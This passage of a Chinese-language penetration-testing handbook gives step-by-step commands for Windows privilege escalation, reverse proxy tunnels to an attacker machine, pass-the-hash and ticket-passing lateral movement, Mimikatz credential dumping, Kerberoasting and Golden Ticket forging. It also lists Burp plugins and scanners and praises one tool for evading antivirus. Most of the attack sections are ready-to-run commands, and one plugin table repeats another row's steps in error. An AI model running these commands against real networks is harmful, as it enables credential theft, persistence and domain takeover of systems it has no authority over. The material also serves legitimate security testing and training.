      • 利用命名管道模拟漏洞

      • 工具:RottenPotatoNG、SweetPotato

      • 步骤:

        SweetPotato.exe -c "cmd.exe /c whoami" -p C:\Windows\System32\cmd.exe
    3. 内核漏洞提权

      • 使用Windows-Exploit-Suggester:

        python windows-exploit-suggester.py --database 2020-01-10-mssb.xls --systeminfo systeminfo.txt
      • 选择合适的exp编译执行

4. 内网渗透

4.1 代理搭建

基础概念

  • 代理搭建是将内网流量转发到攻击机的过程
  • 便于扫描和利用内网资源

详细操作指南

常用工具对比

工具 优点 缺点 适用场景
EW 纯静态编译,免杀性好 配置复杂 Windows/Linux
FRP 配置简单,功能丰富 体积大 有公网服务器
Socks5 标准协议,兼容性好 需要额外工具 浏览器代理

Earthworm (EW) 使用

  • 正向代理(目标机出网):

    1. 攻击机监听:

      ./ew -s rcsocks -l 1080 -e 8888
    2. 目标机连接:

      ew.exe -c 8888 -s rssocks
    3. 配置Proxifier:

      • 规则:所有流量 → 127.0.0.1:1080
  • 反向代理(目标机不出网):

    1. 攻击机监听:

      ./ew -s rdsocks -l 1080 -e 8888
    2. 目标机连接:

      ew.exe -r 攻击机IP -l 1080 -e 8888 -s rssocksd

FRP 使用

  • 配置文件示例

    • 服务端frps.ini:

      [common]
      bind_port = 7000
    • 客户端frpc.ini:

      [common]
      server_addr = your-server.com
      server_port = 7000
      
      [socks5]
      type = tcp
      plugin = socks5
  • 启动命令

    # 服务端
    ./frps -c frps.ini
    
    # 客户端
    ./frpc -c frpc.ini

实操指南

  1. 优先尝试EW,因其免杀性好(好做)
  2. 若目标机有出网权限,使用正向代理
  3. 若目标机无出网权限,需通过跳板机使用反向代理
  4. 配置Proxifier规则:
    • Applications: 选择使用的工具(如nmap、burp)
    • Network: 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
    • Proxy: 127.0.0.1:1080

4.2 横向移动

基础概念

  • 横向移动是从已控制的主机访问其他内网主机的过程
  • 常用技术:Pass the Hash、票据传递、WMI

详细操作指南

Impacket 工具集

  • 基本使用

    # 使用哈希认证
    psexec.py domain/user@target -hashes :ntlm_hash
    
    # 使用票据认证
    psexec.py user@target -k -no-pass
    
    # WMI执行命令
    wmiexec.py user:password@target "ipconfig"
  • 常用工具

    • psexec.py:类似Windows PsExec
    • smbexec.py:通过SMB执行命令
    • wmiexec.py:通过WMI执行命令
    • mssqlclient.py:通过MSSQL执行命令

Pass the Hash

  • 详细步骤

    1. 获取NTLM哈希(通过Mimikatz等工具):

      mimikatz # sekurlsa::logonpasswords
    2. 使用哈希认证:

      secretsdump.py -just-dc -hashes :ntlm_hash domain/user@dc_ip
      psexec.py -hashes :ntlm_hash domain/user@target

Kerberos 票据传递

  • 详细步骤

    1. 导出票据:

      mimikatz # kerberos::list /export
    2. 传递票据:

      kekeo # tgt::import ticket.kirbi
      kekeo # ptt ticket.kirbi

4.3 域渗透

基础概念

  • 域渗透是在Active Directory环境中进行的高级攻击
  • 涉及域用户、域控制器和域策略

详细操作指南

BloodHound 数据收集

  • 详细步骤

    1. 在域内主机上运行收集器:

      SharpHound.exe -c All
    2. 将生成的ZIP文件导入BloodHound

    3. 使用预定义查询分析攻击路径:

      • Shortest Paths to Domain Admins
      • Most Privileged Users
      • Unconstrained Delegation

Kerberoasting

  • 详细步骤

    1. 请求服务票据:

      GetUserSPNs.py -request domain/user
    2. 离线破解:

      hashcat -m 13100 hashes.txt /path/to/wordlist

Golden Ticket

  • 详细步骤

    1. 获取域SID和krbtgt哈希:

      mimikatz # lsadump::dcsync /domain:domain.com /user:krbtgt
    2. 生成Golden Ticket:

      mimikatz # kerberos::golden /user:fakeuser /domain:domain.com /sid:S-1-5-21-... /krbtgt:hash /ticket:golden.kirbi
    3. 使用票据:

      mimikatz # kerberos::ptt golden.kirbi

建议

  1. 先确认是否在域环境中:
    • net time /domain(Windows)
    • realm list(Linux)
  2. 收集域基本信息:
    • 域名:echo %USERDOMAIN%
    • 域控制器:nltest /dclist:domain.com
  3. 使用BloodHound可视化分析,找到最短攻击路径
  4. 优先测试Kerberoasting,因为风险较低

5. 报告生成

  • 使用 word 模板
  • 包含:漏洞描述、风险等级、复现步骤、修复建议

6. 推荐插件汇总(Burp Suite)

名称 详细说明 安装与使用指南
xiaSQL SQL注入自动检测与分析 1. 从GitHub下载JAR文件
2. Burp → Extender → Add
3. 在Proxy/Repeater中右键 → xiaSQL → Scan
4. 查看结果并导出sqlmap命令
mingdong 文件上传漏洞自动探测 1. 下载JAR文件
2. 添加到Burp
13. 上传文件时自动触发
4. 查看插件结果,了解可上传后缀
Autorize 越权漏洞自动检测 1. 登录两个不同权限账号
2. 高权限账号发起请求
3. 右键 → Autorize → Test as [低权限账号]
4. 插件自动比较响应差异
HaE 敏感信息自动检测 1. 配置要检测的敏感信息模式
2. 流量经过时自动高亮显示
3. 支持自定义正则表达式
captcha-killer 验证码自动识别 1. 配置识别模型
2. 拦截含验证码的请求
3. 右键 → captcha-killer → 解析
4. 自动填充识别结果
Burp-Awesome-TLS 绕过TLS指纹检测 1. 安装后自动生效
2. 模拟常见浏览器TLS指纹
3. 有效绕过基于TLS指纹的WAF
autoDecoder 自动加解密分析 1. 拦截含加密参数的请求
2. 右键 → Send to autoDecoder
3. 自动分析加解密算法
4. 支持自定义编解码规则
cloudX 云服务API安全测试 1. 拦截含加密参数的请求
2. 右键 → Send to autoDecoder
3. 自动分析加解密算法
4. 支持自定义编解码规则
passive-scan-client 流量转发至xray 1. 配置xray监听地址
2. 流量自动转发
3. xray进行被动扫描
4. 结果返回Burp展示

插件使用技巧

  • 按测试阶段启用相关插件,避免过多插件影响性能
  • 定期更新插件,获取最新功能和漏洞检测能力
  • 对于关键插件,了解其工作原理,不要盲目依赖
  • 将插件结果与手动测试结合,提高准确率

7.集成工具推荐

名称 详细说明 安装与使用指南
xray 一款由长亭科技开发的安全评估工具,支持被动扫描、主动扫描、POC验证等功能,适合Web漏洞检测。内置XSS、SQL注入、命令执行、信息泄露等常见漏洞规则。 1. 下载地址:https://github.com/chaitin/xray
2. 解压后配置config.yaml
3. 常用命令:
xray webscan --listen 127.0.0.1:7777 --html-output report.html
ez 轻量化的安全扫描工具(常见于配合POC脚本使用),支持快速调用、批量检测等。通常用于漏洞验证而非大范围扫描。 1. 下载地址(https://github.com/m-sec-org/EZ)
2. ez的使用需要去申请证书,月证书50积分交几个漏洞poc即可
3. 解压后配置config.yaml
4. 常用命令: ./ez webscan
tscanPlus 基于Go语言开发的Web安全扫描器,支持多种Web漏洞检测,扫描速度快,支持多线程和批量任务。 1. 下载地址(https://github.com/TideSec/TscanPlus)
2. 解压并运行
dddd 轻量级HTTP请求与漏洞测试工具,常用于快速验证漏洞或发送特定请求(类似curl但更安全测试化)。 1. 下载地址(https://github.com/SleepingBag945/dddd)
2. dddd -t http://test.com
3. dddd -t 192.168.0.1
nuclei ProjectDiscovery 出品的基于模板的漏洞扫描工具,支持YAML格式POC,覆盖Web、网络、协议等多场景。模板社区活跃且更新快。 1. 下载地址:https://github.com/projectdiscovery/nuclei
2. go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest
3. 更新模板:nuclei -update-templates
4. 扫描命令:nuclei -u https://target.com -t cves/
afrog 国人开发的高性能漏洞扫描工具,支持YAML规则,内置丰富漏洞模板库,扫描速度快,适合批量目标检测与POC验证。 1. 下载地址:https://github.com/zan8in/afrog
2. 下载并解压对应系统版本
3. 扫描命令:./afrog -t https://target.com -o result.html
4. 更新POC:./afrog --update
fscan 一款面向内网的综合扫描工具(Go 开发),支持主机存活探测、端口扫描、服务爆破、Web 指纹与 Web 漏洞扫描(兼容 xray POC)、MS17-010 等高危漏洞检测,且有丰富的辅助/利用模块。 1、下载地址:https://github.com/shadow1ng/fscan
2、fscan.exe -h 192.168.1.0/24